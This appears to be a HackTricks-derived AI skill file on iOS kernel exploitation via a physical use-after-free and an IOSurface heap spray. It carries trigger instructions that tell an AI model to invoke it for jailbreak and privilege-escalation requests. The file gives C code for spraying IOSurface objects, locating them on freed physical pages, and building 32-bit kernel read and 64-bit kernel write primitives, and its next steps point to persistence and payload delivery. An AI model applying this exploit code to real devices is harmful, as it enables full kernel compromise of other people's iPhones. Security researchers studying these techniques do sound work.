Hacktricks-skills ios-physical-uaf-exploitation
iOS physical use-after-free exploitation via IOSurface heap spray. Use this skill whenever the user mentions iOS kernel exploitation, physical UAF, IOSurface, page table manipulation, kernel read/write primitives, or jailbreak development on iOS devices. Trigger for any iOS security research involving memory corruption, kernel vulnerabilities, or privilege escalation techniques.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface/SKILL.MDiOS Physical Use-After-Free Exploitation via IOSurface
This skill provides guidance on iOS physical use-after-free (UAF) exploitation using IOSurface heap spray techniques. This is an advanced kernel exploitation method used in iOS jailbreak development and security research.
When to Use This Skill
Use this skill when:
- Researching iOS kernel vulnerabilities
- Developing or analyzing iOS jailbreak exploits
- Working with physical memory corruption on iOS
- Needing kernel read/write primitives on iOS
- Investigating IOSurface-based exploitation techniques
- Analyzing iOS exploit mitigations and bypasses
iOS Exploit Mitigations Overview
Before attempting exploitation, understand these protections:
| Mitigation | Purpose | Bypass Difficulty |
|---|---|---|
| Code Signing | Requires cryptographic signatures on all executables | High |
| CoreTrust | Runtime signature verification | High |
| DEP | Marks memory as non-executable | Medium |
| ASLR | Randomizes memory addresses | Medium |
| KASLR | Kernel address randomization | High |
| KPP/AMFI | Kernel patch protection | Very High |
| KTRR | Kernel text read-only region | Very High |
| PAC | Pointer authentication codes | Very High |
| PAN | Privileged access never | High |
| PPL | Page protection layer | Very High |
Warning: iOS 16+ (A12+) devices have hardware mitigations (PPL, SPTM, KTRR) that make physical UAF techniques far less viable. This technique is primarily useful for older devices or research purposes.
Physical Use-After-Free Concept
How It Works
- Allocate: A process allocates memory as readable/writable
- Map: Page tables map this to a physical address
- Free: Process deallocates the memory
- Bug: Kernel forgets to remove page table mapping
- Reuse: Kernel reallocates the physical memory for other purposes
- Access: Process can still read/write the physical memory (now kernel data)
Memory Management in XNU
iOS uses a 3-level page table hierarchy:
L1 Page Table (256 GB ranges) ↓ L2 Page Table (32 MB ranges) ↓ L3 Page Table (4 KB pages) ↓ Physical Address
Key Addresses:
- User process virtual space:
to0x00x8000000000 - L1 entry:
bytes (256 GB)0x1000000000 - L2 entry:
bytes (32 MB)0x2000000 - L3 entry: 4 KB pages
IOSurface Heap Spray Technique
Overview
Since attackers can't control which kernel pages are allocated to freed memory, they use heap spray:
- Create many IOSurface objects in kernel memory
- Each contains a magic value for identification
- Scan freed pages for IOSurface objects
- Use found objects for kernel read/write
Step-by-Step Process
Step 1: Spray IOSurface Objects
Create IOSurface objects with a unique magic value:
#define IOSURFACE_MAGIC 0x494F535552464143 // "IOSURFACE" magic value void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { if (*nClients >= 0x4000) return; for (int i = 0; i < nSurfaces; i++) { fast_create_args_t args; lock_result_t result; size_t size = IOSurfaceLockResultSize; args.address = 0; args.alloc_size = *nClients + 1; args.pixel_format = IOSURFACE_MAGIC; IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); io_connect_t id = result.surface_id; (*clients)[*nClients] = id; (*nClients)++; } }
Step 2: Scan Freed Pages
Search for IOSurface objects in freed physical pages:
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); int nSurfaceIDs = 0; for (int i = 0; i < 0x400; i++) { spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); for (int j = 0; j < nPages; j++) { uint64_t start = puafPages[j]; uint64_t stop = start + (pages(1) / 16); for (uint64_t k = start; k < stop; k += 8) { if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { info.object = k; info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; if (self_task) *self_task = iosurface_get_receiver(k); goto sprayDone; } } } } sprayDone: for (int i = 0; i < nSurfaceIDs; i++) { if (surfaceIDs[i] == info.surface) continue; iosurface_release(client, surfaceIDs[i]); } free(surfaceIDs); return 0; }
Step 3: Kernel Read/Write Primitives
Key IOSurface Fields:
- Use Count Pointer: Enables 32-bit reads
- Indexed Timestamp Pointer: Enables 64-bit writes
32-Bit Kernel Read:
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { uint64_t args[1] = {surfaceID}; uint32_t size = 1; uint64_t out = 0; IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); return (uint32_t)out; } uint32_t iosurface_kread32(uint64_t addr) { uint64_t orig = iosurface_get_use_count_pointer(info.object); iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 uint32_t value = get_use_count(info.client, info.surface); iosurface_set_use_count_pointer(info.object, orig); return value; }
64-Bit Kernel Write:
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { uint64_t args[3] = {surfaceID, 0, value}; IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); } void iosurface_kwrite64(uint64_t addr, uint64_t value) { uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); iosurface_set_indexed_timestamp_pointer(info.object, addr); set_indexed_timestamp(info.client, info.surface, value); iosurface_set_indexed_timestamp_pointer(info.object, orig); }
Exploit Flow Summary
1. Trigger Physical UAF → Free pages available for reuse 2. Spray IOSurface Objects → Allocate many with magic value 3. Identify Accessible IOSurface → Find one on freed page 4. Abuse UAF → Modify pointers for kernel read/write 5. Achieve Primitives → 32-bit reads, 64-bit writes
Important Considerations
Device Compatibility
| iOS Version | Chip | Physical UAF Viability |
|---|---|---|
| iOS 15 and earlier | A11 and earlier | High |
| iOS 16+ | A12+ | Low (PPL, SPTM, KTRR) |
Limitations on Modern Devices
- PPL: Blocks writes to protected pages even from compromised kernel
- SPTM: Hardens page table updates with secure checks
- KTRR: Locks kernel code as read-only after boot
- IOSurface: Less predictable allocations, entitlement restrictions
References
Safety and Ethics
Important: This information is for educational and security research purposes only. Unauthorized exploitation of iOS devices may violate terms of service and local laws. Only use these techniques on devices you own or have explicit permission to test.
Next Steps
After achieving kernel read/write primitives:
- Bypass additional protections (PPL on arm64e)
- Achieve stable code execution
- Implement persistence mechanisms
- Consider full jailbreak payload delivery